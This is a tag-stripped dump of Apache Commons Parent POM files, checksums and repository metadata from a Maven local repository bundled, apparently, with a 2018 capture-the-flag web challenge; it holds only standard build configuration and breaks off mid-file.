2.3.1 org.apache.maven.plugins maven-jar-plugin 2.3.2 org.apache.maven.plugins maven-javadoc-plugin ${commons.javadoc.version} true ${commons.encoding} ${commons.docEncoding} ${commons.javadoc.java.link} ${commons.javadoc.javaee.link} true true org.apache.maven.plugins maven-release-plugin 2.2.1 org.apache.maven.plugins maven-remote-resources-plugin true org.apache.maven.plugins maven-resources-plugin 2.5 org.apache.maven.plugins maven-site-plugin 3.0 org.apache.maven.plugins maven-source-plugin 2.1.2 true true org.apache.maven.plugins maven-surefire-plugin ${commons.surefire.version} org.apache.commons commons-build-plugin 1.3 ${commons.release.name} org.apache.felix maven-bundle-plugin 2.3.5 true org.codehaus.mojo buildnumber-maven-plugin 1.0 org.apache.maven.plugins maven-antrun-plugin javadoc.resources generate-sources run org.apache.maven.plugins maven-compiler-plugin org.apache.maven.plugins maven-jar-plugin ${commons.manifestfile} ${project.name} ${project.version} ${project.organization.name} ${project.name} ${project.version} ${project.organization.name} org.apache ${implementation.build} ${maven.compile.source} ${maven.compile.target} org.apache.maven.plugins maven-surefire-plugin ${commons.surefire.java} org.apache.commons commons-build-plugin org.apache.felix maven-bundle-plugin true true target/osgi <_nouses>true <_removeheaders>JAVA_1_3_HOME,JAVA_1_4_HOME,JAVA_1_5_HOME,JAVA_1_6_HOME ${commons.osgi.symbolicName} ${commons.osgi.export} ${commons.osgi.private} ${commons.osgi.import} ${commons.osgi.dynamicImport} ${project.url} bundle-manifest process-classes manifest org.apache.rat apache-rat-plugin ${commons.rat.version} org.codehaus.mojo buildnumber-maven-plugin validate create true ?????? javasvn org.apache.maven.plugins maven-javadoc-plugin ${commons.javadoc.version} true ${maven.compile.source} ${commons.encoding} ${commons.docEncoding} true ${commons.javadoc.java.link} ${commons.javadoc.javaee.link} org.apache.maven.plugins maven-jxr-plugin ${commons.jxr.version} false org.apache.maven.plugins maven-project-info-reports-plugin ${commons.project-info.version} org.apache.maven.plugins maven-site-plugin 3.0 navigation.xml,changes.xml org.apache.maven.plugins maven-surefire-report-plugin ${commons.surefire.version} org.apache.rat apache-rat-plugin ${commons.rat.version} org.codehaus.mojo jdepend-maven-plugin 2.0-beta-2 org.codehaus.mojo clirr-maven-plugin ${commons.clirr.version} ${minSeverity} ci apache.snapshots Apache Development Snapshot Repository ${commons.deployment.protocol}://people.apache.org/www/people.apache.org/repo/m2-snapshot-repository apache.snapshots Apache Development Snapshot Repository ${commons.deployment.protocol}://people.apache.org/www/people.apache.org/repo/m2-snapshot-repository release maven-gpg-plugin ${gpg.passphrase} sign-artifacts verify sign maven-install-plugin true maven-source-plugin create-source-jar jar package maven-release-plugin -Prelease maven-javadoc-plugin create-javadoc-jar javadoc jar package ${maven.compile.source} maven-assembly-plugin single package rc apache.snapshots Apache Development Snapshot Repository ${commons.deployment.protocol}://people.apache.org/www/people.apache.org/builds/commons/${commons.componentid}/${commons.release.version}/${commons.rc.version}/staged maven-gpg-plugin ${gpg.passphrase} sign-artifacts verify sign maven-install-plugin true maven-source-plugin create-source-jar jar package maven-release-plugin -Prc maven-javadoc-plugin create-javadoc-jar javadoc jar package ${maven.compile.source} maven-assembly-plugin single package apache-release maven-release-plugin apache-release org.apache.maven.plugins maven-source-plugin attach-test-sources test-jar maven-install-plugin true org.apache.maven.plugins maven-jar-plugin test-jar java-1.3 true 1.3 ${JAVA_1_3_HOME}/bin/javac ${JAVA_1_3_HOME}/bin/java java-1.4 true 1.4 ${JAVA_1_4_HOME}/bin/javac ${JAVA_1_4_HOME}/bin/java java-1.5 true 1.5 ${JAVA_1_5_HOME}/bin/javac ${JAVA_1_5_HOME}/bin/java java-1.6 true 1.6 ${JAVA_1_6_HOME}/bin/javac ${JAVA_1_6_HOME}/bin/java test-deploy id::default::file:target/deploy trunks-proper ../beanutils ../betwixt ../chain ../cli ../codec ../collections ../compress ../configuration ../daemon ../dbcp ../dbutils ../digester ../discovery ../el ../email ../exec ../fileupload ../io ../jci ../jexl ../jxpath ../lang ../launcher ../logging ../math ../modeler ../net ../pool ../primitives ../proxy ../sanselan ../scxml ../validator ../vfs maven-3 ${basedir} maven-site-plugin attach-descriptor attach-descriptor java-1.5-detected 1.5 org.apache.felix maven-bundle-plugin biz.aQute bndlib 1.15.0 release-notes org.apache.maven.plugins maven-changes-plugin ${commons.changes.version} src/changes true . RELEASE-NOTES.txt ${commons.release.version} create-release-notes generate-resources announcement-generate 22 RC1 1.3 1.3 false 2.9 2.9 2.8 0.7 2.6 2.3 2.3 2.4 ${project.artifactId}-${commons.release.version} -bin ${project.artifactId}-${commons.release.2.version} -bin ${project.artifactId} RC1 org.apache.commons.${commons.componentid} org.apache.commons.*;version=${project.version};-noimport:=true * target/osgi/MANIFEST.MF scp iso-8859-1 ${commons.encoding} ${commons.encoding} ${commons.encoding} http://download.oracle.com/javase/6/docs/api/ http://download.oracle.com/javaee/6/api/ yyyy-MM-dd HH:mm:ssZ ${scmBranch}@r${buildNumber}; ${maven.build.timestamp} info ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/commons/commons-parent/22/commons-parent-22.pom.sha1 ================================================ 0e895fa7ed472b3b2081ef77e2d5ece78c139d54 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/commons/commons-parent/32/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:55:42 CST 2018 commons-parent-32.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/commons/commons-parent/32/commons-parent-32.pom ================================================ 4.0.0 org.apache apache 13 org.apache.commons commons-parent pom 32 Apache Commons Parent http://commons.apache.org/ The Apache Commons Parent POM provides common settings for all Apache Commons components. 2.2.1 continuum http://vmbuild.apache.org/continuum/ scm:svn:http://svn.apache.org/repos/asf/commons/proper/commons-parent/tags/commons-parent-32 scm:svn:https://svn.apache.org/repos/asf/commons/proper/commons-parent/tags/commons-parent-32 http://svn.apache.org/viewvc/commons/proper/commons-parent/tags/commons-parent-32 Commons User List user-subscribe@commons.apache.org user-unsubscribe@commons.apache.org user@commons.apache.org http://mail-archives.apache.org/mod_mbox/commons-user/ http://markmail.org/list/org.apache.commons.users/ http://old.nabble.com/Commons---User-f319.html http://www.mail-archive.com/user@commons.apache.org/ http://news.gmane.org/gmane.comp.jakarta.commons.user Commons Dev List dev-subscribe@commons.apache.org dev-unsubscribe@commons.apache.org dev@commons.apache.org http://mail-archives.apache.org/mod_mbox/commons-dev/ http://markmail.org/list/org.apache.commons.dev/ http://old.nabble.com/Commons---Dev-f317.html http://www.mail-archive.com/dev@commons.apache.org/ http://news.gmane.org/gmane.comp.jakarta.commons.devel Commons Issues List issues-subscribe@commons.apache.org issues-unsubscribe@commons.apache.org http://mail-archives.apache.org/mod_mbox/commons-issues/ http://markmail.org/list/org.apache.commons.issues/ http://old.nabble.com/Commons---Issues-f25499.html http://www.mail-archive.com/issues@commons.apache.org/ Commons Commits List commits-subscribe@commons.apache.org commits-unsubscribe@commons.apache.org http://mail-archives.apache.org/mod_mbox/commons-commits/ http://markmail.org/list/org.apache.commons.commits/ http://www.mail-archive.com/commits@commons.apache.org/ Apache Announce List announce-subscribe@apache.org announce-unsubscribe@apache.org http://mail-archives.apache.org/mod_mbox/www-announce/ http://markmail.org/list/org.apache.announce/ http://old.nabble.com/Apache-News-and-Announce-f109.html http://www.mail-archive.com/announce@apache.org/ http://news.gmane.org/gmane.comp.apache.announce src/main/resources ${basedir} META-INF NOTICE.txt LICENSE.txt src/test/resources ${basedir} META-INF NOTICE.txt LICENSE.txt org.apache.maven.plugins maven-antrun-plugin 1.7 org.apache.maven.plugins maven-assembly-plugin 2.4 org.apache.maven.plugins maven-clean-plugin 2.5 org.apache.maven.plugins maven-compiler-plugin 3.1 ${maven.compiler.source} ${maven.compiler.target} ${commons.encoding} ${commons.compiler.fork} ${commons.compiler.compilerVersion} ${commons.compiler.javac} org.apache.maven.plugins maven-deploy-plugin 2.7 org.apache.maven.plugins maven-gpg-plugin 1.4 org.apache.maven.plugins maven-install-plugin 2.4 org.apache.maven.plugins maven-jar-plugin 2.4 org.apache.maven.plugins maven-javadoc-plugin ${commons.javadoc.version} true ${commons.encoding} ${commons.docEncoding} true ${commons.javadoc.java.link} ${commons.javadoc.javaee.link} true true org.apache.maven.plugins maven-release-plugin 2.4.1 org.apache.maven.plugins maven-remote-resources-plugin 1.4 true org.apache.maven.plugins maven-resources-plugin 2.6 org.apache.maven.plugins maven-site-plugin ${commons.site-plugin.version} true org.apache.maven.plugins maven-source-plugin 2.2.1 true true org.apache.maven.plugins maven-surefire-plugin ${commons.surefire.version} org.apache.commons commons-build-plugin 1.4 ${commons.release.name} org.apache.felix maven-bundle-plugin 2.4.0 true org.apache.rat apache-rat-plugin ${commons.rat.version} org.codehaus.mojo buildnumber-maven-plugin 1.2 org.codehaus.mojo clirr-maven-plugin ${commons.clirr.version} ${minSeverity} org.apache.maven.plugins maven-antrun-plugin javadoc.resources generate-sources run org.apache.maven.plugins maven-compiler-plugin org.apache.maven.plugins maven-jar-plugin ${commons.manifestfile} ${project.name} ${project.version} ${project.organization.name} ${project.name} ${project.version} ${project.organization.name} org.apache ${implementation.build} ${maven.compiler.source} ${maven.compiler.target} org.apache.maven.plugins maven-surefire-plugin ${commons.surefire.java} org.apache.commons commons-build-plugin org.apache.felix maven-bundle-plugin true true ${project.build.directory}/osgi <_nouses>true <_removeheaders>JAVA_1_3_HOME,JAVA_1_4_HOME,JAVA_1_5_HOME,JAVA_1_6_HOME,JAVA_1_7_HOME ${commons.osgi.symbolicName} ${commons.osgi.export} ${commons.osgi.private} ${commons.osgi.import} ${commons.osgi.dynamicImport} ${project.url} bundle-manifest process-classes manifest org.apache.rat apache-rat-plugin ${commons.rat.version} site-content/** .checkstyle .fbprefs .pmd src/site/resources/download_*.cgi src/site/resources/profile.* org.apache.maven.plugins maven-scm-publish-plugin 1.0-beta-2 ${project.reporting.outputDirectory} scm:svn:${commons.scmPubUrl} ${commons.scmPubCheckoutDirectory} true scm-publish site-deploy publish-scm org.apache.maven.plugins maven-changes-plugin ${commons.changes.version} ${basedir}/src/changes/changes.xml Fix Version,Key,Component,Summary,Type,Resolution,Status Fix Version DESC,Type,Key DESC Fixed Resolved,Closed Bug,New Feature,Task,Improvement,Wish,Test true changes-report jira-report org.apache.maven.plugins maven-javadoc-plugin ${commons.javadoc.version} true ${maven.compiler.source} ${commons.encoding} ${commons.docEncoding} true true true ${commons.javadoc.java.link} ${commons.javadoc.javaee.link} org.apache.maven.plugins maven-jxr-plugin ${commons.jxr.version} org.apache.maven.plugins maven-project-info-reports-plugin ${commons.project-info.version} index summary modules project-team scm issue-tracking mailing-list dependency-management dependencies dependency-convergence cim distribution-management org.apache.maven.plugins maven-site-plugin ${commons.site-plugin.version} navigation.xml,changes.xml org.apache.maven.plugins maven-surefire-report-plugin ${commons.surefire.version} ${commons.surefire-report.aggregate} org.apache.rat apache-rat-plugin ${commons.rat.version} site-content/** .pmd src/site/resources/download_*.cgi src/site/resources/profile.* org.codehaus.mojo clirr-maven-plugin ${commons.clirr.version} ${minSeverity} org.codehaus.mojo jdepend-maven-plugin ${commons.jdepend.version} jacoco src/site/resources/profile.jacoco org.jacoco jacoco-maven-plugin ${commons.jacoco.version} prepare-agent process-test-classes prepare-agent report site report check check ${commons.jacoco.classRatio} ${commons.jacoco.instructionRatio} ${commons.jacoco.methodRatio} ${commons.jacoco.branchRatio} ${commons.jacoco.complexityRatio} ${commons.jacoco.lineRatio} ${commons.jacoco.haltOnFailure} org.jacoco jacoco-maven-plugin ${commons.jacoco.version} cobertura src/site/resources/profile.cobertura org.codehaus.mojo cobertura-maven-plugin ${commons.cobertura.version} release maven-gpg-plugin ${gpg.passphrase} sign-artifacts verify sign maven-install-plugin true maven-source-plugin create-source-jar jar test-jar maven-jar-plugin test-jar maven-release-plugin -Prelease maven-javadoc-plugin create-javadoc-jar javadoc jar package ${maven.compiler.source} maven-assembly-plugin true single package apache-release maven-release-plugin apache-release org.apache.maven.plugins maven-source-plugin attach-test-sources test-jar maven-install-plugin true org.apache.maven.plugins maven-jar-plugin test-jar java-1.3 true 1.3 ${JAVA_1_3_HOME}/bin/javac ${JAVA_1_3_HOME}/bin/java java-1.4 true 1.4 ${JAVA_1_4_HOME}/bin/javac ${JAVA_1_4_HOME}/bin/java java-1.5 true 1.5 ${JAVA_1_5_HOME}/bin/javac ${JAVA_1_5_HOME}/bin/java java-1.6 true 1.6 ${JAVA_1_6_HOME}/bin/javac ${JAVA_1_6_HOME}/bin/java java-1.7 true 1.7 ${JAVA_1_7_HOME}/bin/javac ${JAVA_1_7_HOME}/bin/java test-deploy id::default::file:target/deploy trunks-proper ../bcel ../beanutils ../betwixt ../chain ../cli ../codec ../collections ../compress ../configuration ../daemon ../dbcp ../dbutils ../digester ../discovery ../el ../email ../exec ../fileupload ../functor ../imaging ../io ../jci ../jcs ../jexl ../jxpath ../lang ../launcher ../logging ../math ../modeler ../net ../ognl ../pool ../primitives ../proxy ../scxml ../validator ../vfs maven-3 ${basedir} maven-site-plugin org.apache.maven.wagon wagon-ssh ${commons.wagon-ssh.version} attach-descriptor attach-descriptor release-notes org.apache.maven.plugins maven-changes-plugin ${commons.changes.version} src/changes true . RELEASE-NOTES.txt ${commons.release.version} create-release-notes generate-resources announcement-generate svn-buildnumber !buildNumber.skip!true org.codehaus.mojo buildnumber-maven-plugin generate-resources create true ?????? false false javasvn org.codehaus.mojo buildnumber-maven-plugin javasvn ${project.version} RC1 COMMONSSITE 1.3 1.3 false 2.15 2.15 2.9.1 0.9 2.9 2.5 2.3 2.7 2.3 3.3 0.6.3.201306030806 2.5.2 2.0-beta-2 ${project.artifactId}-${commons.release.version} -bin ${project.artifactId}-${commons.release.2.version} -bin ${project.artifactId}-${commons.release.3.version} -bin 100 90 95 85 85 90 false ${project.artifactId} org.apache.commons.${commons.componentid} org.apache.commons.*;version=${project.version};-noimport:=true * ${project.build.directory}/osgi/MANIFEST.MF scp iso-8859-1 ${commons.encoding} ${commons.encoding} ${commons.encoding} http://download.oracle.com/javase/6/docs/api/ http://download.oracle.com/javaee/6/api/ yyyy-MM-dd HH:mm:ssZ ${scmBranch}@r${buildNumber}; ${maven.build.timestamp} info false ${user.home}/commons-sites ${project.artifactId} https://svn.apache.org/repos/infra/websites/production/commons/content/proper/${project.artifactId} ${commons.site.cache}/${commons.site.path} https://analysis.apache.org/ ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/commons/commons-parent/32/commons-parent-32.pom.sha1 ================================================ 0e51c4223003c2c7c63f38d7b8823e40eb06bd1f ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/commons/commons-parent/34/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:55:48 CST 2018 commons-parent-34.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/commons/commons-parent/34/commons-parent-34.pom ================================================ 4.0.0 org.apache apache 13 org.apache.commons commons-parent pom 34 Apache Commons Parent http://commons.apache.org/ The Apache Commons Parent POM provides common settings for all Apache Commons components. 3.0 continuum https://continuum-ci.apache.org/ scm:svn:http://svn.apache.org/repos/asf/commons/proper/commons-parent/trunk scm:svn:https://svn.apache.org/repos/asf/commons/proper/commons-parent/trunk http://svn.apache.org/viewvc/commons/proper/commons-parent/trunk Commons User List user-subscribe@commons.apache.org user-unsubscribe@commons.apache.org user@commons.apache.org http://mail-archives.apache.org/mod_mbox/commons-user/ http://markmail.org/list/org.apache.commons.users/ http://old.nabble.com/Commons---User-f319.html http://www.mail-archive.com/user@commons.apache.org/ http://news.gmane.org/gmane.comp.jakarta.commons.user Commons Dev List dev-subscribe@commons.apache.org dev-unsubscribe@commons.apache.org dev@commons.apache.org http://mail-archives.apache.org/mod_mbox/commons-dev/ http://markmail.org/list/org.apache.commons.dev/ http://old.nabble.com/Commons---Dev-f317.html http://www.mail-archive.com/dev@commons.apache.org/ http://news.gmane.org/gmane.comp.jakarta.commons.devel Commons Issues List issues-subscribe@commons.apache.org issues-unsubscribe@commons.apache.org http://mail-archives.apache.org/mod_mbox/commons-issues/ http://markmail.org/list/org.apache.commons.issues/ http://old.nabble.com/Commons---Issues-f25499.html http://www.mail-archive.com/issues@commons.apache.org/ Commons Commits List commits-subscribe@commons.apache.org commits-unsubscribe@commons.apache.org http://mail-archives.apache.org/mod_mbox/commons-commits/ http://markmail.org/list/org.apache.commons.commits/ http://www.mail-archive.com/commits@commons.apache.org/ Apache Announce List announce-subscribe@apache.org announce-unsubscribe@apache.org http://mail-archives.apache.org/mod_mbox/www-announce/ http://markmail.org/list/org.apache.announce/ http://old.nabble.com/Apache-News-and-Announce-f109.html http://www.mail-archive.com/announce@apache.org/ http://news.gmane.org/gmane.comp.apache.announce src/main/resources ${basedir} META-INF NOTICE.txt LICENSE.txt src/test/resources ${basedir} META-INF NOTICE.txt LICENSE.txt org.apache.maven.plugins maven-antrun-plugin 1.7 org.apache.maven.plugins maven-assembly-plugin 2.4 org.apache.maven.plugins maven-clean-plugin 2.5 org.apache.maven.plugins maven-compiler-plugin ${commons.compiler.version} ${maven.compiler.source} ${maven.compiler.target} ${commons.encoding} ${commons.compiler.fork} ${commons.compiler.compilerVersion} ${commons.compiler.javac} org.apache.maven.plugins maven-deploy-plugin 2.8.1 org.apache.maven.plugins maven-gpg-plugin 1.4 org.apache.maven.plugins maven-install-plugin 2.5.1 org.apache.maven.plugins maven-jar-plugin 2.4 org.apache.maven.plugins maven-javadoc-plugin ${commons.javadoc.version} true ${commons.encoding} ${commons.docEncoding} true ${commons.javadoc.java.link} ${commons.javadoc.javaee.link} true true org.apache.maven.plugins maven-release-plugin 2.4.2 org.apache.maven.plugins maven-remote-resources-plugin 1.5 true org.apache.maven.plugins maven-resources-plugin 2.6 org.apache.maven.plugins maven-site-plugin ${commons.site-plugin.version} true org.apache.maven.plugins maven-source-plugin 2.2.1 true true org.apache.maven.plugins maven-surefire-plugin ${commons.surefire.version} org.apache.commons commons-build-plugin 1.4 ${commons.release.name} org.apache.felix maven-bundle-plugin 2.4.0 true org.apache.rat apache-rat-plugin ${commons.rat.version} org.codehaus.mojo buildnumber-maven-plugin 1.2 org.codehaus.mojo clirr-maven-plugin ${commons.clirr.version} ${minSeverity} maven-assembly-plugin src/main/assembly/src.xml gnu org.apache.maven.plugins maven-antrun-plugin javadoc.resources generate-sources run org.apache.maven.plugins maven-compiler-plugin true org.apache.maven.plugins maven-enforcer-plugin 1.3.1 enforce-maven-3 enforce 3.0.0 true org.apache.maven.plugins maven-jar-plugin ${commons.manifestfile} ${project.name} ${project.version} ${project.organization.name} ${project.name} ${project.version} ${project.organization.name} org.apache ${implementation.build} ${maven.compiler.source} ${maven.compiler.target} org.apache.maven.plugins maven-surefire-plugin ${commons.surefire.java} org.apache.commons commons-build-plugin org.apache.felix maven-bundle-plugin true true ${project.build.directory}/osgi <_nouses>true <_removeheaders>JAVA_1_3_HOME,JAVA_1_4_HOME,JAVA_1_5_HOME,JAVA_1_6_HOME,JAVA_1_7_HOME,JAVA_1_8_HOME ${commons.osgi.symbolicName} ${commons.osgi.export} ${commons.osgi.private} ${commons.osgi.import} ${commons.osgi.dynamicImport} ${project.url} bundle-manifest process-classes manifest org.apache.rat apache-rat-plugin ${commons.rat.version} site-content/** .checkstyle .fbprefs .pmd src/site/resources/download_*.cgi src/site/resources/profile.* org.apache.maven.plugins maven-scm-publish-plugin ${commons.scm-publish.version} ${project.reporting.outputDirectory} scm:svn:${commons.scmPubUrl} ${commons.scmPubCheckoutDirectory} ${commons.scmPubServer} true scm-publish site-deploy publish-scm org.apache.maven.plugins maven-changes-plugin ${commons.changes.version} ${basedir}/src/changes/changes.xml Fix Version,Key,Component,Summary,Type,Resolution,Status Fix Version DESC,Type,Key DESC Fixed Resolved,Closed Bug,New Feature,Task,Improvement,Wish,Test true changes-report jira-report org.apache.maven.plugins maven-javadoc-plugin ${commons.javadoc.version} true ${maven.compiler.source} ${commons.encoding} ${commons.docEncoding} true true true ${commons.javadoc.java.link} ${commons.javadoc.javaee.link} org.apache.maven.plugins maven-jxr-plugin ${commons.jxr.version} org.apache.maven.plugins maven-project-info-reports-plugin ${commons.project-info.version} index summary modules project-team scm issue-tracking mailing-list dependency-management dependencies dependency-convergence cim distribution-management org.apache.maven.plugins maven-site-plugin ${commons.site-plugin.version} navigation.xml,changes.xml org.apache.maven.plugins maven-surefire-report-plugin ${commons.surefire.version} ${commons.surefire-report.aggregate} org.apache.rat apache-rat-plugin ${commons.rat.version} site-content/** .pmd src/site/resources/download_*.cgi src/site/resources/profile.* org.codehaus.mojo clirr-maven-plugin ${commons.clirr.version} ${minSeverity} org.codehaus.mojo jdepend-maven-plugin ${commons.jdepend.version} jacoco src/site/resources/profile.jacoco org.jacoco jacoco-maven-plugin ${commons.jacoco.version} prepare-agent process-test-classes prepare-agent report site report check check BUNDLE CLASS COVEREDRATIO ${commons.jacoco.classRatio} INSTRUCTION COVEREDRATIO ${commons.jacoco.instructionRatio} METHOD COVEREDRATIO ${commons.jacoco.methodRatio} BRANCH COVEREDRATIO ${commons.jacoco.branchRatio} LINE COVEREDRATIO ${commons.jacoco.lineRatio} COMPLEXITY COVEREDRATIO ${commons.jacoco.complexityRatio} ${commons.jacoco.haltOnFailure} org.jacoco jacoco-maven-plugin ${commons.jacoco.version} cobertura src/site/resources/profile.cobertura org.codehaus.mojo cobertura-maven-plugin ${commons.cobertura.version} release maven-gpg-plugin ${gpg.passphrase} sign-artifacts verify sign maven-install-plugin true maven-source-plugin create-source-jar jar test-jar maven-jar-plugin test-jar true maven-release-plugin -Prelease maven-javadoc-plugin create-javadoc-jar javadoc jar package ${maven.compiler.source} maven-assembly-plugin true single package apache-release maven-release-plugin apache-release org.apache.maven.plugins maven-source-plugin attach-test-sources test-jar maven-install-plugin true org.apache.maven.plugins maven-jar-plugin test-jar java-1.3 true 1.3 ${JAVA_1_3_HOME}/bin/javac ${JAVA_1_3_HOME}/bin/java java-1.4 true 1.4 ${JAVA_1_4_HOME}/bin/javac ${JAVA_1_4_HOME}/bin/java java-1.5 true 1.5 ${JAVA_1_5_HOME}/bin/javac ${JAVA_1_5_HOME}/bin/java java-1.6 true 1.6 ${JAVA_1_6_HOME}/bin/javac ${JAVA_1_6_HOME}/bin/java java-1.7 true 1.7 ${JAVA_1_7_HOME}/bin/javac ${JAVA_1_7_HOME}/bin/java java-1.8 true 1.8 ${JAVA_1_8_HOME}/bin/javac ${JAVA_1_8_HOME}/bin/java test-deploy id::default::file:target/deploy trunks-proper ../bcel ../beanutils ../betwixt ../chain ../cli ../codec ../collections ../compress ../configuration ../daemon ../dbcp ../dbutils ../digester ../discovery ../el ../email ../exec ../fileupload ../functor ../imaging ../io ../jci ../jcs ../jexl ../jxpath ../lang ../launcher ../logging ../math ../modeler ../net ../ognl ../pool ../primitives ../proxy ../scxml ../validator ../vfs maven-3 ${basedir} maven-site-plugin org.apache.maven.wagon wagon-ssh ${commons.wagon-ssh.version} attach-descriptor attach-descriptor release-notes org.apache.maven.plugins maven-changes-plugin ${commons.changes.version} src/changes true . RELEASE-NOTES.txt ${commons.release.version} create-release-notes generate-resources announcement-generate svn-buildnumber !buildNumber.skip!true org.codehaus.mojo buildnumber-maven-plugin generate-resources create true ?????? false false javasvn org.codehaus.mojo buildnumber-maven-plugin javasvn ${project.version} RC1 COMMONSSITE 1.3 1.3 false 2.17 2.17 2.9.1 0.10 2.9 2.6.1 2.4 2.7 2.3 3.3 0.6.4.201312101107 2.6 2.0-beta-2 3.1 1.0 ${project.artifactId}-${commons.release.version} -bin ${project.artifactId}-${commons.release.2.version} -bin ${project.artifactId}-${commons.release.3.version} -bin 1.00 0.90 0.95 0.85 0.85 0.90 false ${project.artifactId} org.apache.commons.${commons.componentid} org.apache.commons.*;version=${project.version};-noimport:=true * ${project.build.directory}/osgi/MANIFEST.MF scp iso-8859-1 ${commons.encoding} ${commons.encoding} ${commons.encoding} http://docs.oracle.com/javase/6/docs/api/ http://docs.oracle.com/javaee/6/api/ yyyy-MM-dd HH:mm:ssZ ${scmBranch}@r${buildNumber}; ${maven.build.timestamp} info false ${user.home}/commons-sites ${project.artifactId} https://svn.apache.org/repos/infra/websites/production/commons/content/proper/${project.artifactId} ${commons.site.cache}/${commons.site.path} commons.site https://analysis.apache.org/ ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/commons/commons-parent/34/commons-parent-34.pom.sha1 ================================================ 1f6be162a806d8343e3cd238dd728558532473a5 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/commons/commons-parent/35/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:55:30 CST 2018 commons-parent-35.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/commons/commons-parent/35/commons-parent-35.pom ================================================ 4.0.0 org.apache apache 15 org.apache.commons commons-parent pom 35 Apache Commons Parent http://commons.apache.org/ The Apache Commons Parent POM provides common settings for all Apache Commons components. 3.0 continuum https://continuum-ci.apache.org/ scm:svn:http://svn.apache.org/repos/asf/commons/proper/commons-parent/trunk scm:svn:https://svn.apache.org/repos/asf/commons/proper/commons-parent/trunk http://svn.apache.org/viewvc/commons/proper/commons-parent/trunk Commons User List user-subscribe@commons.apache.org user-unsubscribe@commons.apache.org user@commons.apache.org http://mail-archives.apache.org/mod_mbox/commons-user/ http://markmail.org/list/org.apache.commons.users/ http://old.nabble.com/Commons---User-f319.html http://www.mail-archive.com/user@commons.apache.org/ http://news.gmane.org/gmane.comp.jakarta.commons.user Commons Dev List dev-subscribe@commons.apache.org dev-unsubscribe@commons.apache.org dev@commons.apache.org http://mail-archives.apache.org/mod_mbox/commons-dev/ http://markmail.org/list/org.apache.commons.dev/ http://old.nabble.com/Commons---Dev-f317.html http://www.mail-archive.com/dev@commons.apache.org/ http://news.gmane.org/gmane.comp.jakarta.commons.devel Commons Issues List issues-subscribe@commons.apache.org issues-unsubscribe@commons.apache.org http://mail-archives.apache.org/mod_mbox/commons-issues/ http://markmail.org/list/org.apache.commons.issues/ http://old.nabble.com/Commons---Issues-f25499.html http://www.mail-archive.com/issues@commons.apache.org/ Commons Commits List commits-subscribe@commons.apache.org commits-unsubscribe@commons.apache.org http://mail-archives.apache.org/mod_mbox/commons-commits/ http://markmail.org/list/org.apache.commons.commits/ http://www.mail-archive.com/commits@commons.apache.org/ Apache Announce List announce-subscribe@apache.org announce-unsubscribe@apache.org http://mail-archives.apache.org/mod_mbox/www-announce/ http://markmail.org/list/org.apache.announce/ http://old.nabble.com/Apache-News-and-Announce-f109.html http://www.mail-archive.com/announce@apache.org/ http://news.gmane.org/gmane.comp.apache.announce src/main/resources ${basedir} META-INF NOTICE.txt LICENSE.txt src/test/resources ${basedir} META-INF NOTICE.txt LICENSE.txt org.apache.maven.plugins maven-antrun-plugin 1.7 org.apache.maven.plugins maven-assembly-plugin 2.4.1 org.apache.maven.plugins maven-clean-plugin 2.6 org.apache.maven.plugins maven-compiler-plugin ${commons.compiler.version} ${maven.compiler.source} ${maven.compiler.target} ${commons.encoding} ${commons.compiler.fork} ${commons.compiler.compilerVersion} ${commons.compiler.javac} org.apache.maven.plugins maven-deploy-plugin 2.8.2 org.apache.maven.plugins maven-gpg-plugin 1.5 org.apache.maven.plugins maven-install-plugin 2.5.2 org.apache.maven.plugins maven-jar-plugin 2.5 org.apache.maven.plugins maven-javadoc-plugin ${commons.javadoc.version} true ${commons.encoding} ${commons.docEncoding} true ${commons.javadoc.java.link} ${commons.javadoc.javaee.link} true true org.apache.maven.plugins maven-release-plugin 2.5.1 org.apache.maven.plugins maven-remote-resources-plugin 1.5 true org.apache.maven.plugins maven-resources-plugin 2.7 org.apache.maven.plugins maven-site-plugin ${commons.site-plugin.version} true org.apache.maven.plugins maven-source-plugin 2.4 true true org.apache.maven.plugins maven-surefire-plugin ${commons.surefire.version} org.apache.commons commons-build-plugin 1.4 ${commons.release.name} org.apache.felix maven-bundle-plugin 2.5.3 true org.apache.rat apache-rat-plugin ${commons.rat.version} org.codehaus.mojo buildnumber-maven-plugin 1.3 org.codehaus.mojo clirr-maven-plugin ${commons.clirr.version} ${minSeverity} maven-assembly-plugin src/main/assembly/src.xml gnu org.apache.maven.plugins maven-antrun-plugin javadoc.resources generate-sources run org.apache.maven.plugins maven-compiler-plugin true org.apache.maven.plugins maven-enforcer-plugin 1.3.1 enforce-maven-3 enforce 3.0.0 true org.apache.maven.plugins maven-jar-plugin ${commons.manifestfile} ${project.name} ${project.version} ${project.organization.name} ${project.name} ${project.version} ${project.organization.name} org.apache ${implementation.build} ${maven.compiler.source} ${maven.compiler.target} org.apache.maven.plugins maven-surefire-plugin ${commons.surefire.java} org.apache.commons commons-build-plugin org.apache.felix maven-bundle-plugin true true ${project.build.directory}/osgi <_nouses>true <_removeheaders>JAVA_1_3_HOME,JAVA_1_4_HOME,JAVA_1_5_HOME,JAVA_1_6_HOME,JAVA_1_7_HOME,JAVA_1_8_HOME ${commons.osgi.symbolicName} ${commons.osgi.export} ${commons.osgi.private} ${commons.osgi.import} ${commons.osgi.dynamicImport} ${project.url} bundle-manifest process-classes manifest org.apache.rat apache-rat-plugin ${commons.rat.version} site-content/** .checkstyle .fbprefs .pmd src/site/resources/download_*.cgi src/site/resources/profile.* org.apache.maven.plugins maven-scm-publish-plugin ${commons.scm-publish.version} ${project.reporting.outputDirectory} scm:svn:${commons.scmPubUrl} ${commons.scmPubCheckoutDirectory} ${commons.scmPubServer} true scm-publish site-deploy publish-scm org.apache.maven.plugins 